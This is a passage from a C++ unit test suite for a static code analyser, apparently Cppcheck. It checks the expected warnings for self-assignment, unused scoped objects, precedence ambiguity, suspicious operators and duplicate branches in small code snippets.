(i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret 